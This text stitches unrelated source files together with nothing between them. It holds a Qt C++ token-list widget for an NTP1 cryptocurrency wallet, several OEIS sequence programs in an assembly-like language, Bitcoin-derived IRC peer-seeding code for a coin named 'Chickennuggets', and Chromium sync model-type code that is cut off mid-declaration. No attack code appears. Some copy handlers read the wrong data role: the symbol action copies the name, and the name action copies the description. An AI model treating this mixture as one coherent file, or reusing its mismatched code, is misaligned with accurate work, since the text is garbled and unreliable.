#include "ntp1summary.h" #include "ui_ntp1summary.h" #include "bitcoinunits.h" #include "guiconstants.h" #include "guiutil.h" #include "ntp1/ntp1tokenlistitemdelegate.h" #include "optionsmodel.h" #include "qt/ntp1/ntp1tokenlistmodel.h" #include "walletmodel.h" #include <QAction> #include <QClipboard> #include <QDesktopServices> #include <QKeyEvent> #include <QMenu> #include <QUrl> const QString NTP1Summary::copyTokenIdText = "Copy Token ID"; const QString NTP1Summary::copyTokenSymbolText = "Copy Token Symbol"; const QString NTP1Summary::copyTokenNameText = "Copy Token Name"; const QString NTP1Summary::viewInBlockExplorerText = "Show in block explorer"; const QString NTP1Summary::viewIssuanceMetadataText = "Show issuance metadata"; NTP1Summary::NTP1Summary(QWidget* parent) : QWidget(parent), ui(new Ui_NTP1Summary), currentBalance(-1), currentStake(0), currentUnconfirmedBalance(-1), currentImmatureBalance(-1), model(0), filter(0), tokenDelegate(new NTP1TokenListItemDelegate) { model = new NTP1TokenListModel; metadataViewer = new NTP1MetadataViewer; metadataViewer->setModal(true); ui->setupUi(this); ui->listTokens->setItemDelegate(tokenDelegate); ui->listTokens->setIconSize( QSize(NTP1TokenListItemDelegate::DECORATION_SIZE, NTP1TokenListItemDelegate::DECORATION_SIZE)); ui->listTokens->setMinimumHeight(NTP1TokenListItemDelegate::NUM_ITEMS * (NTP1TokenListItemDelegate::DECORATION_SIZE + 2)); ui->listTokens->setAttribute(Qt::WA_MacShowFocusRect, false); connect(ui->listTokens, SIGNAL(clicked(QModelIndex)), this, SLOT(handleTokenClicked(QModelIndex))); // ui->showSendDialogButton->setText(sendDialogHiddenStr); // connect(ui->showSendDialogButton, &QPushButton::clicked, this, // &NTP1Summary::slot_actToShowSendTokensView); // init "out of sync" warning labels ui->labelBlockchainSyncStatus->setText("(" + tr("out of sync") + ")"); // start with displaying the "out of sync" warnings showOutOfSyncWarning(true); setupContextMenu(); filter = new NTP1TokenListFilterProxy(ui->filter_lineEdit); setModel(model); connect(model, &NTP1TokenListModel::signal_walletUpdateRunning, ui->upper_table_loading_label, &QLabel::setVisible); connect(ui->filter_lineEdit, &QLineEdit::textChanged, filter, &NTP1TokenListFilterProxy::setFilterWildcard); } void NTP1Summary::handleTokenClicked(const QModelIndex& index) { if (filter) emit tokenClicked(filter->mapToSource(index)); } void NTP1Summary::keyPressEvent(QKeyEvent* event) { if (event->key() == Qt::Key_F && (event->modifiers() & Qt::ControlModifier)) { ui->filter_lineEdit->setFocus(); } } void NTP1Summary::setupContextMenu() { ui->listTokens->setContextMenuPolicy(Qt::CustomContextMenu); contextMenu = new QMenu(this); copyTokenIdAction = new QAction(copyTokenIdText, this); copyTokenSymbolAction = new QAction(copyTokenSymbolText, this); copyTokenNameAction = new QAction(copyTokenNameText, this); viewInBlockExplorerAction = new QAction(viewInBlockExplorerText, this); showMetadataAction = new QAction(viewIssuanceMetadataText, this); contextMenu->addAction(copyTokenIdAction); contextMenu->addAction(copyTokenSymbolAction); contextMenu->addAction(copyTokenNameAction); contextMenu->addSeparator(); contextMenu->addAction(viewInBlockExplorerAction); contextMenu->addSeparator(); contextMenu->addAction(showMetadataAction); connect(ui->listTokens, &TokensListView::customContextMenuRequested, this, &NTP1Summary::slot_contextMenuRequested); connect(copyTokenIdAction, &QAction::triggered, this, &NTP1Summary::slot_copyTokenIdAction); connect(copyTokenSymbolAction, &QAction::triggered, this, &NTP1Summary::slot_copyTokenSymbolAction); connect(copyTokenNameAction, &QAction::triggered, this, &NTP1Summary::slot_copyTokenNameAction); connect(viewInBlockExplorerAction, &QAction::triggered, this, &NTP1Summary::slot_visitInBlockExplorerAction); connect(showMetadataAction, &QAction::triggered, this, &NTP1Summary::slot_showMetadataAction); } void NTP1Summary::slot_copyTokenIdAction() { QModelIndexList selected = ui->listTokens->selectedIndexesP(); std::set<int> rows; for (long i = 0; i < selected.size(); i++) { QModelIndex index = selected.at(i); int row = index.row(); rows.insert(row); } if (rows.size() != 1) { QMessageBox::warning(this, "Failed to copy", "Failed to copy Token ID; selected items size is not equal to one"); return; } QModelIndex idx = ui->listTokens->model()->index(*rows.begin(), 0); QString resultStr = ui->listTokens->model()->data(idx, NTP1TokenListModel::TokenIdRole).toString(); if (!resultStr.isEmpty()) { QClipboard* clipboard = QGuiApplication::clipboard(); clipboard->setText(resultStr); } else { QMessageBox::warning(this, "Failed to copy", "No information to include in the clipboard"); } } void NTP1Summary::slot_copyTokenSymbolAction() { QModelIndexList selected = ui->listTokens->selectedIndexesP(); std::set<int> rows; for (long i = 0; i < selected.size(); i++) { QModelIndex index = selected.at(i); int row = index.row(); rows.insert(row); } if (rows.size() != 1) { QMessageBox::warning(this, "Failed to copy", "Failed to copy Token Symbol; selected items size is not equal to one"); return; } QModelIndex idx = ui->listTokens->model()->index(*rows.begin(), 0); QString resultStr = ui->listTokens->model()->data(idx, NTP1TokenListModel::TokenNameRole).toString(); if (!resultStr.isEmpty()) { QClipboard* clipboard = QGuiApplication::clipboard(); clipboard->setText(resultStr); } else { QMessageBox::warning(this, "Failed to copy", "No information to include in the clipboard"); } } void NTP1Summary::slot_copyTokenNameAction() { QModelIndexList selected = ui->listTokens->selectedIndexesP(); std::set<int> rows; for (long i = 0; i < selected.size(); i++) { QModelIndex index = selected.at(i); int row = index.row(); rows.insert(row); } if (rows.size() != 1) { QMessageBox::warning(this, "Failed to copy", "Failed to copy Token Name; selected items size is not equal to one"); return; } QString resultStr = ui->listTokens->model() ->data(ui->listTokens->model()->index(*rows.begin(), 0), NTP1TokenListModel::TokenDescriptionRole) .toString(); if (!resultStr.isEmpty()) { QClipboard* clipboard = QGuiApplication::clipboard(); clipboard->setText(resultStr); } else { QMessageBox::warning(this, "Failed to copy", "No information to include in the clipboard"); } } void NTP1Summary::slot_visitInBlockExplorerAction() { QModelIndexList selected = ui->listTokens->selectedIndexesP(); std::set<int> rows; for (long i = 0; i < selected.size(); i++) { QModelIndex index = selected.at(i); int row = index.row(); rows.insert(row); } if (rows.size() != 1) { QMessageBox::warning(this, "Failed get URL", "Failed to get Token ID; selected items size is not equal to one"); return; } QModelIndex idx = ui->listTokens->model()->index(*rows.begin(), 0); QString resultStr = ui->listTokens->model()->data(idx, NTP1TokenListModel::TokenIdRole).toString(); if (!resultStr.isEmpty()) { QString link = QString::fromStdString( NTP1Tools::GetURL_ExplorerTokenInfo(resultStr.toStdString(), fTestNet)); if (!QDesktopServices::openUrl(QUrl(link))) { QMessageBox::warning( this, "Failed to open browser", "Could not open the web browser to view token information in block explorer"); } } else { QMessageBox::warning(this, "Failed to get token ID", "No information retrieved for token ID"); } } void NTP1Summary::slot_showMetadataAction() { QModelIndexList selected = ui->listTokens->selectedIndexesP(); std::set<int> rows; for (long i = 0; i < selected.size(); i++) { QModelIndex index = selected.at(i); int row = index.row(); rows.insert(row); } if (rows.size() != 1) { QMessageBox::warning(this, "Failed get URL", "Failed to get Token ID; selected items size is not equal to one"); return; } QModelIndex idx = ui->listTokens->model()->index(*rows.begin(), 0); NTP1TokenListModel::RoleIndex role = NTP1TokenListModel::IssuanceTxidRole; QString resultStr = ui->listTokens->model()->data(idx, role).toString(); if (!resultStr.isEmpty()) { uint256 issuanceTxid(resultStr.toStdString()); try { auto it = issuanceTxidVsMetadata.find(issuanceTxid); if (it == issuanceTxidVsMetadata.cend()) { json_spirit::Value v = NTP1Transaction::GetNTP1IssuanceMetadata(issuanceTxid); issuanceTxidVsMetadata[issuanceTxid] = v; std::stringstream ss; json_spirit::write_formatted(v, ss); metadataViewer->setJsonStr(ss.str()); } else { std::stringstream ss; json_spirit::write_formatted(it->second, ss); metadataViewer->setJsonStr(ss.str()); } metadataViewer->show(); metadataViewer->raise(); } catch (std::exception& ex) { QMessageBox::warning(this, "Failed to get issuance transaction", "Failed to retrieve issuance transaction with error: " + QString(ex.what())); } catch (...) { QMessageBox::warning(this, "Failed to get issuance transaction", "Failed to retrieve issuance transaction with an unknown error."); } } else { QMessageBox::warning( this, "Failed to get issuance txid", "Failed to retrieve issuance txid, which is required to retrieve the metadata"); } } NTP1Summary::~NTP1Summary() { delete ui; } NTP1TokenListModel* NTP1Summary::getTokenListModel() const { return model; } void NTP1Summary::setModel(NTP1TokenListModel* model) { if (model) { filter->setSourceModel(model); ui->listTokens->setModel(filter); } } void NTP1Summary::showOutOfSyncWarning(bool fShow) { ui->labelBlockchainSyncStatus->setVisible(fShow); } void NTP1Summary::slot_contextMenuRequested(QPoint pos) { QModelIndexList selected = ui->listTokens->selectedIndexesP(); if (selected.size() != 1) { copyTokenIdAction->setDisabled(true); metadataViewer->setDisabled(true); } else { copyTokenIdAction->setDisabled(false); metadataViewer->setDisabled(false); } contextMenu->popup(ui->listTokens->viewport()->mapToGlobal(pos)); }
; A114986: Characteristic function of (A000201 prefixed with 0). ; 1,1,0,1,1,0,1,0,1,1,0,1,1,0,1,0,1,1,0,1,0,1,1,0,1,1,0,1,0,1,1,0,1,1,0,1,0,1,1,0,1,0,1,1,0,1,1,0,1,0,1,1,0,1,0,1,1,0,1,1,0,1,0,1,1,0,1,1,0,1,0,1,1,0,1,0,1,1,0,1,1,0,1,0,1,1,0,1,1,0,1,0,1,1,0,1,0,1,1,0 add $0,1 max $0,2 seq $0,189661 ; Fixed point of the morphism 0->010, 1->10 starting with 0. pow $1,$0 mov $0,$1
; A313799: Coordination sequence Gal.3.53.3 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings. ; 1,5,10,15,21,27,33,38,43,48,53,58,63,69,75,81,86,91,96,101,106,111,117,123,129,134,139,144,149,154,159,165,171,177,182,187,192,197,202,207,213,219,225,230,235,240,245,250,255,261 add $0,1 mov $2,2 add $2,$0 lpb $0 sub $0,1 add $1,6 trn $1,$2 trn $2,9 lpe trn $1,4 add $1,1 mov $0,$1
; A130724: a(n) = lcm(n,3) / gcd(n,3). ; 0,3,6,1,12,15,2,21,24,3,30,33,4,39,42,5,48,51,6,57,60,7,66,69,8,75,78,9,84,87,10,93,96,11,102,105,12,111,114,13,120,123,14,129,132,15,138,141,16,147,150,17,156,159,18,165,168,19,174,177,20,183,186 mul $0,3 dif $0,9 mov $1,$0
// Copyright (c) 2009-2010 Satoshi Nakamoto // Copyright (c) 2009-2012 The Bitcoin developers // Distributed under the MIT/X11 software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include "irc.h" #include "net.h" #include "strlcpy.h" #include "base58.h" using namespace std; using namespace boost; int nGotIRCAddresses = 0; void ThreadIRCSeed2(void* parg); #pragma pack(push, 1) struct ircaddr { struct in_addr ip; short port; }; #pragma pack(pop) string EncodeAddress(const CService& addr) { struct ircaddr tmp; if (addr.GetInAddr(&tmp.ip)) { tmp.port = htons(addr.GetPort()); vector<unsigned char> vch(UBEGIN(tmp), UEND(tmp)); return string("u") + EncodeBase58Check(vch); } return ""; } bool DecodeAddress(string str, CService& addr) { vector<unsigned char> vch; if (!DecodeBase58Check(str.substr(1), vch)) return false; struct ircaddr tmp; if (vch.size() != sizeof(tmp)) return false; memcpy(&tmp, &vch[0], sizeof(tmp)); addr = CService(tmp.ip, ntohs(tmp.port)); return true; } static bool Send(SOCKET hSocket, const char* pszSend) { if (strstr(pszSend, "PONG") != pszSend) printf("IRC SENDING: %s\n", pszSend); const char* psz = pszSend; const char* pszEnd = psz + strlen(psz); while (psz < pszEnd) { int ret = send(hSocket, psz, pszEnd - psz, MSG_NOSIGNAL); if (ret < 0) return false; psz += ret; } return true; } bool RecvLineIRC(SOCKET hSocket, string& strLine) { while (true) { bool fRet = RecvLine(hSocket, strLine); if (fRet) { if (fShutdown) return false; vector<string> vWords; ParseString(strLine, ' ', vWords); if (vWords.size() >= 1 && vWords[0] == "PING") { strLine[1] = 'O'; strLine += '\r'; Send(hSocket, strLine.c_str()); continue; } } return fRet; } } int RecvUntil(SOCKET hSocket, const char* psz1, const char* psz2=NULL, const char* psz3=NULL, const char* psz4=NULL) { while (true) { string strLine; strLine.reserve(10000); if (!RecvLineIRC(hSocket, strLine)) return 0; printf("IRC %s\n", strLine.c_str()); if (psz1 && strLine.find(psz1) != string::npos) return 1; if (psz2 && strLine.find(psz2) != string::npos) return 2; if (psz3 && strLine.find(psz3) != string::npos) return 3; if (psz4 && strLine.find(psz4) != string::npos) return 4; } } bool Wait(int nSeconds) { if (fShutdown) return false; printf("IRC waiting %d seconds to reconnect\n", nSeconds); for (int i = 0; i < nSeconds; i++) { if (fShutdown) return false; MilliSleep(1000); } return true; } bool RecvCodeLine(SOCKET hSocket, const char* psz1, string& strRet) { strRet.clear(); while (true) { string strLine; if (!RecvLineIRC(hSocket, strLine)) return false; vector<string> vWords; ParseString(strLine, ' ', vWords); if (vWords.size() < 2) continue; if (vWords[1] == psz1) { printf("IRC %s\n", strLine.c_str()); strRet = strLine; return true; } } } bool GetIPFromIRC(SOCKET hSocket, string strMyName, CNetAddr& ipRet) { Send(hSocket, strprintf("USERHOST %s\r", strMyName.c_str()).c_str()); string strLine; if (!RecvCodeLine(hSocket, "302", strLine)) return false; vector<string> vWords; ParseString(strLine, ' ', vWords); if (vWords.size() < 4) return false; string str = vWords[3]; if (str.rfind("@") == string::npos) return false; string strHost = str.substr(str.rfind("@")+1); // Hybrid IRC used by lfnet always returns IP when you userhost yourself, // but in case another IRC is ever used this should work. printf("GetIPFromIRC() got userhost %s\n", strHost.c_str()); CNetAddr addr(strHost, true); if (!addr.IsValid()) return false; ipRet = addr; return true; } void ThreadIRCSeed(void* parg) { // Make this thread recognisable as the IRC seeding thread RenameThread("chickennuggets-ircseed"); try { ThreadIRCSeed2(parg); } catch (std::exception& e) { PrintExceptionContinue(&e, "ThreadIRCSeed()"); } catch (...) { PrintExceptionContinue(NULL, "ThreadIRCSeed()"); } printf("ThreadIRCSeed exited\n"); } void ThreadIRCSeed2(void* parg) { // Don't connect to IRC if we won't use IPv4 connections. if (IsLimited(NET_IPV4)) return; // ... or if we won't make outbound connections and won't accept inbound ones. if (mapArgs.count("-connect") && fNoListen) return; // ... or if IRC is not enabled. if (!GetBoolArg("-irc", false)) return; printf("ThreadIRCSeed started\n"); int nErrorWait = 10; int nRetryWait = 10; int nNameRetry = 0; while (!fShutdown) { CService addrConnect("92.243.23.21", 6667); // irc.lfnet.org CService addrIRC("irc.lfnet.org", 6667, true); if (addrIRC.IsValid()) addrConnect = addrIRC; SOCKET hSocket; if (!ConnectSocket(addrConnect, hSocket)) { printf("IRC connect failed\n"); nErrorWait = nErrorWait * 11 / 10; if (Wait(nErrorWait += 60)) continue; else return; } if (!RecvUntil(hSocket, "Found your hostname", "using your IP address instead", "Couldn't look up your hostname", "ignoring hostname")) { closesocket(hSocket); hSocket = INVALID_SOCKET; nErrorWait = nErrorWait * 11 / 10; if (Wait(nErrorWait += 60)) continue; else return; } CNetAddr addrIPv4("1.2.3.4"); // arbitrary IPv4 address to make GetLocal prefer IPv4 addresses CService addrLocal; string strMyName; // Don't use our IP as our nick if we're not listening // or if it keeps failing because the nick is already in use. if (!fNoListen && GetLocal(addrLocal, &addrIPv4) && nNameRetry<3) strMyName = EncodeAddress(GetLocalAddress(&addrConnect)); if (strMyName == "") strMyName = strprintf("x%"PRIu64"", GetRand(1000000000)); Send(hSocket, strprintf("NICK %s\r", strMyName.c_str()).c_str()); Send(hSocket, strprintf("USER %s 8 * : %s\r", strMyName.c_str(), strMyName.c_str()).c_str()); int nRet = RecvUntil(hSocket, " 004 ", " 433 "); if (nRet != 1) { closesocket(hSocket); hSocket = INVALID_SOCKET; if (nRet == 2) { printf("IRC name already in use\n"); nNameRetry++; Wait(10); continue; } nErrorWait = nErrorWait * 11 / 10; if (Wait(nErrorWait += 60)) continue; else return; } nNameRetry = 0; MilliSleep(500); // Get our external IP from the IRC server and re-nick before joining the channel CNetAddr addrFromIRC; if (GetIPFromIRC(hSocket, strMyName, addrFromIRC)) { printf("GetIPFromIRC() returned %s\n", addrFromIRC.ToString().c_str()); // Don't use our IP as our nick if we're not listening if (!fNoListen && addrFromIRC.IsRoutable()) { // IRC lets you to re-nick AddLocal(addrFromIRC, LOCAL_IRC); strMyName = EncodeAddress(GetLocalAddress(&addrConnect)); Send(hSocket, strprintf("NICK %s\r", strMyName.c_str()).c_str()); } } if (fTestNet) { Send(hSocket, "JOIN #ChickennuggetsTEST\r"); Send(hSocket, "WHO #ChickennuggetsTEST\r"); } else { // randomly join #Chickennuggets00-#Chickennuggets05 //int channel_number = GetRandInt(5); int channel_number = 0; // Channel number is always 0 for initial release //int channel_number = 0; Send(hSocket, strprintf("JOIN #Chickennuggets%02d\r", channel_number).c_str()); Send(hSocket, strprintf("WHO #Chickennuggets%02d\r", channel_number).c_str()); } int64_t nStart = GetTime(); string strLine; strLine.reserve(10000); while (!fShutdown && RecvLineIRC(hSocket, strLine)) { if (strLine.empty() || strLine.size() > 900 || strLine[0] != ':') continue; vector<string> vWords; ParseString(strLine, ' ', vWords); if (vWords.size() < 2) continue; char pszName[10000]; pszName[0] = '\0'; if (vWords[1] == "352" && vWords.size() >= 8) { // index 7 is limited to 16 characters // could get full length name at index 10, but would be different from join messages strlcpy(pszName, vWords[7].c_str(), sizeof(pszName)); printf("IRC got who\n"); } if (vWords[1] == "JOIN" && vWords[0].size() > 1) { // :username!username@50000007.F000000B.90000002.IP JOIN :#channelname strlcpy(pszName, vWords[0].c_str() + 1, sizeof(pszName)); if (strchr(pszName, '!')) *strchr(pszName, '!') = '\0'; printf("IRC got join\n"); } if (pszName[0] == 'u') { CAddress addr; if (DecodeAddress(pszName, addr)) { addr.nTime = GetAdjustedTime(); if (addrman.Add(addr, addrConnect, 51 * 60)) printf("IRC got new address: %s\n", addr.ToString().c_str()); nGotIRCAddresses++; } else { printf("IRC decode failed\n"); } } } closesocket(hSocket); hSocket = INVALID_SOCKET; if (GetTime() - nStart > 20 * 60) { nErrorWait /= 3; nRetryWait /= 3; } nRetryWait = nRetryWait * 11 / 10; if (!Wait(nRetryWait += 60)) return; } } #ifdef TEST int main(int argc, char *argv[]) { WSADATA wsadata; if (WSAStartup(MAKEWORD(2,2), &wsadata) != NO_ERROR) { printf("Error at WSAStartup()\n"); return false; } ThreadIRCSeed(NULL); WSACleanup(); return 0; } #endif
// Copyright (c) 2012 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "sync/internal_api/public/base/model_type.h" #include "base/string_split.h" #include "base/values.h" #include "sync/protocol/app_notification_specifics.pb.h" #include "sync/protocol/app_setting_specifics.pb.h" #include "sync/protocol/app_specifics.pb.h" #include "sync/protocol/autofill_specifics.pb.h" #include "sync/protocol/bookmark_specifics.pb.h" #include "sync/protocol/extension_setting_specifics.pb.h" #include "sync/protocol/extension_specifics.pb.h" #include "sync/protocol/nigori_specifics.pb.h" #include "sync/protocol/password_specifics.pb.h" #include "sync/protocol/preference_specifics.pb.h" #include "sync/protocol/search_engine_specifics.pb.h" #include "sync/protocol/session_specifics.pb.h" #include "sync/protocol/sync.pb.h" #include "sync/protocol/theme_specifics.pb.h" #include "sync/protocol/typed_url_specifics.pb.h" #include "sync/syncable/syncable_proto_util.h" namespace syncer { void AddDefaultFieldValue(ModelType datatype, sync_pb::EntitySpecifics* specifics) { switch (datatype) { case BOOKMARKS: specifics->mutable_bookmark(); break; case PASSWORDS: specifics->mutable_password(); break; case PREFERENCES: specifics->mutable_preference(); break; case AUTOFILL: specifics->mutable_autofill(); break; case AUTOFILL_PROFILE: specifics->mutable_autofill_profile(); break; case THEMES: specifics->mutable_theme(); break; case TYPED_URLS: specifics->mutable_typed_url(); break; case EXTENSIONS: specifics->mutable_extension(); break; case NIGORI: specifics->mutable_nigori(); break; case SEARCH_ENGINES: specifics->mutable_search_engine(); break; case SESSIONS: specifics->mutable_session(); break; case APPS: specifics->mutable_app(); break; case APP_SETTINGS: specifics->mutable_app_setting(); break; case EXTENSION_SETTINGS: specifics->mutable_extension_setting(); break; case APP_NOTIFICATIONS: specifics->mutable_app_notification(); break; case HISTORY_DELETE_DIRECTIVES: specifics->mutable_history_delete_directive(); break; case DEVICE_INFO: specifics->mutable_device_info(); break; case EXPERIMENTS: specifics->mutable_experiments(); break; default: NOTREACHED() << "No known extension for model type."; } } ModelType GetModelTypeFromSpecificsFieldNumber(int field_number) { for (int i = FIRST_REAL_MODEL_TYPE; i < MODEL_TYPE_COUNT; ++i) { ModelType model_type = ModelTypeFromInt(i); if (GetSpecificsFieldNumberFromModelType(model_type) == field_number) return model_type; } NOTREACHED(); return UNSPECIFIED; } int GetSpecificsFieldNumberFromModelType(ModelType model_type) { switch (model_type) { case BOOKMARKS: return sync_pb::EntitySpecifics::kBookmarkFieldNumber; break; case PASSWORDS: return sync_pb::EntitySpecifics::kPasswordFieldNumber; break; case PREFERENCES: return sync_pb::EntitySpecifics::kPreferenceFieldNumber; break; case AUTOFILL: return sync_pb::EntitySpecifics::kAutofillFieldNumber; break; case AUTOFILL_PROFILE: return sync_pb::EntitySpecifics::kAutofillProfileFieldNumber; break; case THEMES: return sync_pb::EntitySpecifics::kThemeFieldNumber; break; case TYPED_URLS: return sync_pb::EntitySpecifics::kTypedUrlFieldNumber; break; case EXTENSIONS: return sync_pb::EntitySpecifics::kExtensionFieldNumber; break; case NIGORI: return sync_pb::EntitySpecifics::kNigoriFieldNumber; break; case SEARCH_ENGINES: return sync_pb::EntitySpecifics::kSearchEngineFieldNumber; break; case SESSIONS: return sync_pb::EntitySpecifics::kSessionFieldNumber; break; case APPS: return sync_pb::EntitySpecifics::kAppFieldNumber; break; case APP_SETTINGS: return sync_pb::EntitySpecifics::kAppSettingFieldNumber; break; case EXTENSION_SETTINGS: return sync_pb::EntitySpecifics::kExtensionSettingFieldNumber; break; case APP_NOTIFICATIONS: return sync_pb::EntitySpecifics::kAppNotificationFieldNumber; break; case HISTORY_DELETE_DIRECTIVES: return sync_pb::EntitySpecifics::kHistoryDeleteDirectiveFieldNumber; case DEVICE_INFO: return sync_pb::EntitySpecifics::kDeviceInfoFieldNumber; break; case EXPERIMENTS: return sync_pb::EntitySpecifics::kExperimentsFieldNumber; break; default: NOTREACHED() << "No known extension for model type."; return 0; } NOTREACHED() << "Needed for linux_keep_shadow_stacks because of " << "http://gcc.gnu.org/bugzilla/show_bug.cgi?id=20681"; return 0; } FullModelTypeSet ToFullModelTypeSet(ModelTypeSet in) { FullModelTypeSet out; for (ModelTypeSet::Iterator i = in.First(); i.Good(); i.Inc()) { out.Put(i.Get()); } return out; } // Note: keep this consistent with GetModelType in entry.cc! ModelType GetModelType(const sync_pb::SyncEntity& sync_entity) { DCHECK(!IsRoot(sync_entity)); // Root shouldn't ever go over the wire. if (sync_entity.deleted()) return UNSPECIFIED; // Backwards compatibility with old (pre-specifics) protocol. if (sync_entity.has_bookmarkdata()) return BOOKMARKS; ModelType specifics_type = GetModelTypeFromSpecifics(sync_entity.specifics()); if (specifics_type != UNSPECIFIED) return specifics_type; // Loose check for server-created top-level folders that aren't // bound to a particular model type. if (!sync_entity.server_defined_unique_tag().empty() && IsFolder(sync_entity)) { return TOP_LEVEL_FOLDER; } // This is an item of a datatype we can't understand. Maybe it's // from the future? Either we mis-encoded the object, or the // server sent us entries it shouldn't have. NOTREACHED() << "Unknown datatype in sync proto."; return UNSPECIFIED; } ModelType GetModelTypeFromSpecifics(const sync_pb::EntitySpecifics& specifics) { if (specifics.has_bookmark()) return BOOKMARKS; if (specifics.has_password()) return PASSWORDS; if (specifics.has_preference()) return PREFERENCES; if (specifics.has_autofill()) return AUTOFILL; if (specifics.has_autofill_profile()) return AUTOFILL_PROFILE; if (specifics.has_theme()) return THEMES; if (specifics.has_typed_url()) return TYPED_URLS; if (specifics.has_extension()) return EXTENSIONS; if (specifics.has_nigori()) return NIGORI; if (specifics.has_app()) return APPS; if (specifics.has_search_engine()) return SEARCH_ENGINES; if (specifics.has_session()) return SESSIONS; if (specifics.has_app_setting()) return APP_SETTINGS; if (specifics.has_extension_setting()) return EXTENSION_SETTINGS; if (specifics.has_app_notification()) return APP_NOTIFICATIONS; if (specifics.has_history_delete_directive()) return HISTORY_DELETE_DIRECTIVES; if (specifics.has_device_info()) return DEVICE_INFO; if (specifics.has_experiments()) return EXPERIMENTS; return UNSPECIFIED; } bool ShouldMaintainPosition(ModelType model_type) { return model_type == BOOKMARKS; } ModelTypeSet UserTypes() { ModelTypeSet set; for (int i = FIRST_USER_MODEL_TYPE; i <= LAST_USER_MODEL_TYPE; ++i) { set.Put(ModelTypeFromInt(i)); } return set; } ModelTypeSet EncryptableUserTypes() { ModelTypeSet encryptable_user_types = UserTypes(); // We never encrypt history delete directives. encryptable_user_types.Remove(HISTORY_DELETE_DIRECTIVES); return encryptable_user_types; } ModelTypeSet ControlTypes() { ModelTypeSet set; for (int i = FIRST_CONTROL_MODEL_TYPE; i <= LAST_CONTROL_MODEL_TYPE; ++i) { set.Put(ModelTypeFromInt(i)); } // TODO(rlarocque): Re-enable this when the server supports it. set.Remove(DEVICE_INFO); // TODO(rlarocque): Re-enable this when the server supports it. set.Remove(EXPERIMENTS); return set; } bool IsControlType(ModelType model_type) { return ControlTypes().Has(model_type); } const char* ModelTypeToString(ModelType model_type) { // This is used in serialization routines as well as for displaying debug // information. Do not attempt to change these string values unless you know // what you're doing. switch (model_type) { case TOP_LEVEL_FOLDER: return "Top Level Folder"; case UNSPECIFIED: return "Unspecified"; case BOOKMARKS: return "Bookmarks"; case PREFERENCES: return "Preferences"; case PASSWORDS: return "Passwords"; case AUTOFILL: return "Autofill"; case THEMES: return "Themes"; case TYPED_URLS: return "Typed URLs"; case EXTENSIONS: return "Extensions"; case NIGORI: return "Encryption keys"; case SEARCH_ENGINES: return "Search Engines"; case SESSIONS: return "Sessions"; case APPS: return "Apps"; case AUTOFILL_PROFILE: return "Autofill Profiles"; case APP_SETTINGS: return "App settings"; case EXTENSION_SETTINGS: return "Extension settings"; case APP_NOTIFICATIONS: return "App Notifications"; case HISTORY_DELETE_DIRECTIVES: return "History Delete Directives"; case DEVICE_INFO: return "Device Info"; case EXPERIMENTS: return "Experiments"; default: break; } NOTREACHED() << "No known extension for model type."; return "INVALID"; } StringValue* ModelTypeToValue(ModelType model_type) { if (model_type >= FIRST_REAL_MODEL_TYPE) { return Value::CreateStringValue(ModelTypeToString(model_type)); } else if (model_type == TOP_LEVEL_FOLDER) { return Value::CreateStringValue("Top-level folder"); } else if (model_type == UNSPECIFIED) { return Value::CreateStringValue("Unspecified"); } NOTREACHED(); return Value::CreateStringValue(""); } ModelType ModelTypeFromValue(const Value& value) { if (value.IsType(Value::TYPE_STRING)) { std::string result; CHECK(value.GetAsString(&result)); return ModelTypeFromString(result); } else if (value.IsType(Value::TYPE_INTEGER)) { int result; CHECK(value.GetAsInteger(&result)); return ModelTypeFromInt(result); } else { NOTREACHED() << "Unsupported value type: " << value.GetType(); return UNSPECIFIED; } } ModelType ModelTypeFromString(const std::string& model_type_string) { if (model_type_string == "Bookmarks") return BOOKMARKS; else if (model_type_string == "Preferences") return PREFERENCES; else if (model_type_string == "Passwords") return PASSWORDS; else if (model_type_string == "Autofill") return AUTOFILL; else if (model_type_string == "Autofill Profiles") return AUTOFILL_PROFILE; else if (model_type_string == "Themes") return THEMES; else if (model_type_string == "Typed URLs") return TYPED_URLS; else if (model_type_string == "Extensions") return EXTENSIONS; else if (model_type_string == "Encryption keys") return NIGORI; else if (model_type_string == "Search Engines") return SEARCH_ENGINES; else if (model_type_string == "Sessions") return SESSIONS; else if (model_type_string == "Apps") return APPS; else if (model_type_string == "App settings") return APP_SETTINGS; else if (model_type_string == "Extension settings") return EXTENSION_SETTINGS; else if (model_type_string == "App Notifications") return APP_NOTIFICATIONS; else if (model_type_string == "History Delete Directives") return HISTORY_DELETE_DIRECTIVES; else if (model_type_string == "Device Info") return DEVICE_INFO; else if (model_type_string == "Experiments") return EXPERIMENTS; else NOTREACHED() << "No known model type corresponding to " << model_type_string << "."; return UNSPECIFIED; } std::string ModelTypeSetToString(ModelTypeSet model_types) { std::string result; for (ModelTypeSet::Iterator it = model_types.First(); it.Good(); it.Inc()) { if (!result.empty()) { result += ", "; } result += ModelTypeToString(it.Get()); } return result; } base::ListValue* ModelTypeSetToValue(ModelTypeSet model_types) { ListValue* value = new ListValue(); for (ModelTypeSet::Iterator it = model_types.First(); it.Good(); it.Inc()) { value->Append( Value::CreateStringValue(ModelTypeToString(it.Get()))); } return value; } ModelTypeSet ModelTypeSetFromValue(const base::ListValue& value) { ModelTypeSet result; for (ListValue::const_iterator i = value.begin(); i != value.end(); ++i) { result.Put(ModelTypeFromValue(**i)); } return result; } // TODO(zea): remove all hardcoded tags in model associators and have them use // this instead. std::string ModelTypeToRootTag(ModelType type) { switch (type) { case BOOKMARKS: return "google_chrome_bookmarks"; case PREFERENCES: return "google_chrome_preferences"; case PASSWORDS: return "google_chrome_passwords"; case AUTOFILL: return "google_chrome_autofill"; case THEMES: return "google_chrome_themes"; case TYPED_URLS: return "google_chrome_typed_urls"; case EXTENSIONS: return "google_chrome_extensions"; case NIGORI: return "google_chrome_nigori"; case SEARCH_ENGINES: return "google_chrome_search_engines"; case SESSIONS: return "google_chrome_sessions"; case APPS: return "google_chrome_apps"; case AUTOFILL_PROFILE: return "google_chrome_autofill_profiles"; case APP_SETTINGS: return "google_chrome_app_settings"; case EXTENSION_SETTINGS: return "google_chrome_extension_settings"; case APP_NOTIFICATIONS: return "google_chrome_app_notifications"; case HISTORY_DELETE_DIRECTIVES: return "google_chrome_history_delete_directives"; case DEVICE_INFO: return "google_chrome_device_info"; case EXPERIMENTS: return "google_chrome_experiments"; default: break; } NOTREACHED() << "No known extension for model type."; return "INVALID"; } // TODO(akalin): Figure out a better way to do these mappings. namespace { const char 